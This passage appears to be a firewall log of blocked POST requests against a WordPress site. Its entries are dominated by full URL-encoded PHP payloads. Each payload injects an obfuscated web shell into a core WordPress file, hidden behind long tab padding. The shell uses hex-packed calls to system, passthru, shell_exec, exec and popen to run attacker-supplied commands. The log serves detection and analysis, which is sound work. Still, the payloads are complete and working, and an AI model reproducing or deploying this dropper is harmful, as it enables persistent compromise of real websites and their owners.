271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:56:05","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:8810\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nmD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524api_gateway7%2529%2529%257B%2524factor_elem%253D%2524api_gateway5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524factor_elem%2529%257B%2524flag_holder%253D%2524api_gateway6%2528%2524factor_elem%2529%253B%2524api_gateway7%2528%2524factor_elem%2529%253Bprint%2520%2524flag_holder%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:56:07","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524api_gateway1%2529%2529%257B%2524api_gateway1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway2%2529%2529%257Bprint%2520%2524api_gateway2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway3%2529%2529%257B%2524api_gateway3%2528%2524query_handler%252C%2524entity_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_flg%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway4%2529%2529%257B%2524api_gateway4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524api_gateway5%2529%2526%2526function_exists%2528%2524api_gateway6%2529%2526%2526function_exists%2528%2524